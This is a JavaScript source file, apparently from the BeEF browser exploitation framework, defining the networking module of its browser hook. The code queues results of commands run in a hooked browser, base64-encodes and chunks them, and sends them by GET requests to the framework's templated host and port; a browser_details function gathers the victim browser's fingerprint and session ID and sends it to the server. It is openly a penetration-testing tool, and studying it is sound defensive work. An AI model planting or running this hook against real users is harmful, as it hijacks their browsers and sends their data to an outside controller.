a810867142
git-svn-id: https://beef.googlecode.com/svn/trunk@824 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
216 lines
7.2 KiB
JavaScript
216 lines
7.2 KiB
JavaScript
/*!
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* @literal object: beef.net
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*
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* Provides basic networking functions.
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*/
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beef.net = {
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host: "<%= @beef_host %>",
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port: "<%= @beef_port %>",
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hook: "<%= @beef_hook %>",
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handler: '/dh',
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chop: 2000,
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pad: 30, //this is the amount of padding for extra params such as pc, pid and sid
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sid_count: 0,
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cmd_queue: [],
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//Command object
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command: function() {
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this.cid = null;
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this.results = null;
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this.handler = null;
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this.callback = null;
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this.results = null;
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},
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//Packet object
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packet: function() {
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this.id = null;
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this.data = null;
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},
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//Stream object
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stream: function() {
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this.id = null;
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this.packets = [];
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this.pc = 0;
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this.get_base_url_length = function() {
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return (this.url+this.handler+'?'+'bh='+beef.session.get_hook_session_id()).length;
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},
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this.get_packet_data = function() {
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var p = this.packets.shift();
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return {'bh':beef.session.get_hook_session_id(), 'sid':this.id, 'pid':p.id, 'pc':this.pc, 'd':p.data }
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};
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},
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/**
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* Response Object - returned from beef.net.request with result of request
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*/
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response: function() {
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this.status_code = null; // 500, 404, 200, 302
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this.response_body = null; // "<html>…." if not a cross domain request
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this.port_status = null; // tcp port is open, closed or not http
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this.was_cross_domain = null; // true or false
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this.was_timedout = null; // the user specified timeout was reached
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this.duration = null; // how long it took for the request to complete
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},
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//Queues the command, to be sent back to the framework on the next refresh
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queue: function(handler, cid, results, callback) {
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if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function'))
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{
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var s = new beef.net.command();
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s.cid = cid;
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s.results = beef.net.clean(results);
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s.callback = callback;
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s.handler = handler;
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this.cmd_queue.push(s);
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}
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},
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//Queues the current command and flushes the queue straight away
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send: function(handler, cid, results, callback) {
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this.queue(handler, cid, results, callback);
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this.flush();
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},
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//Flush all currently queued commands to the framework
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flush: function() {
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if (this.cmd_queue.length > 0)
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{
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var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
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this.cmd_queue.length = 0;
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this.sid_count++;
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var stream = new this.stream();
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stream.id = this.sid_count;
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var pad = stream.get_base_url_length() + this.pad;
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//cant continue if chop amount is too low
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if ((this.chop - pad) > 0)
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{
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var data = this.chunk(data, (this.chop - pad));
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for (var i = 1; i <= data.length; i++)
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{
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var packet = new this.packet();
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packet.id = i;
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packet.data = data[(i-1)];
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stream.packets.push(packet);
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}
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stream.pc = stream.packets.length;
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this.push(stream);
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}
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}
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},
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//Split string into chunk lengths determined by amount
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chunk: function(str, amount) {
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if (typeof amount == 'undefined') n=2;
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return str.match(RegExp('.{1,'+amount+'}','g'));
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},
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//Push packets to framework
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push: function(stream) {
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//need to implement wait feature here eventually
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for (var i = 0; i < stream.pc; i++)
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{
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this.request('http', 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null);
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}
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},
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/**
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*Performs http requests
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* @param: {String} scheme: HTTP or HTTPS
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* @param: {String} method: GET or POST
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* @param: {String} domain: bindshell.net, 192.168.3.4, etc
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* @param: {Int} port: 80, 5900, etc
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* @param: {String} path: /path/to/resource
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* @param: {String} anchor: this is the value that comes after the # in the URL
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* @param: {String} data: This will be used as the query string for a GET or post data for a POST
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* @param: {Int} timeout: timeout the request after N seconds
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* @param: {String} dataType: specify the data return type expected (ie text/html/script)
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* @param: {Funtion} callback: call the callback function at the completion of the method
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*
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* @return: {Object} response: this object contains the response details
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*/
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request: function(scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
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//check if same domain or cross domain
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cross_domain = (document.domain == domain) ? false : true;
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//build the url
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var url = scheme+"://"+domain;
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url = (port != null) ? url+":"+port : url;
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url = (path != null) ? url+path : url;
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url = (anchor != null) ? url+"#"+anchor : url;
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//define response object
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var response = new this.response;
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response.was_cross_domain = cross_domain;
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var start_time = new Date().getTime();
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//build and execute request
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$j.ajax({type: method,
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dataType: dataType,
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url: url,
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data: data,
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timeout: (timeout * 1000),
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//function on success
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success: function(data, textStatus, jqXHR){
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var end_time = new Date().getTime();
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response.status_code = textStatus;
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response.response_body = data;
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response.port_status = "open";
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response.was_timedout = false;
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response.duration = (end_time - start_time);
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},
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//function on failure
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error: function(jqXHR, textStatus, errorThrown){
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var end_time = new Date().getTime();
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if (textStatus == "timeout"){
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response.was_timedout = true;
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};
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response.status_code = textStatus;
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response.duration = (end_time - start_time);
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},
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//function on completion
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complete: function(transport) {
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response.status_code = transport.status;
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}
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}).done(function() { if (callback != null) { callback(response); } });
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return response;
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},
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//this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
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//http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
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clean: function(r) {
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if (this.array_has_string_key(r)) {
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var obj = {};
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for (var key in r)
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obj[key] = (this.array_has_string_key(obj[key])) ? this.clean(r[key]) : r[key];
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return obj;
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}
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return r;
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},
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//Detects if an array has a string key
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array_has_string_key: function(arr) {
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if ($j.isArray(arr))
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{
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try {
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for (var key in arr)
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if (isNaN(parseInt(key))) return true;
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} catch (e) { }
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}
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return false;
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},
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//Sends back browser details to framework
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browser_details: function() {
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var details = beef.browser.getDetails();
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details['HookSessionID'] = beef.session.get_hook_session_id();
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this.send('/init', 0, details);
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}
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};
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beef.regCmp('beef.net');
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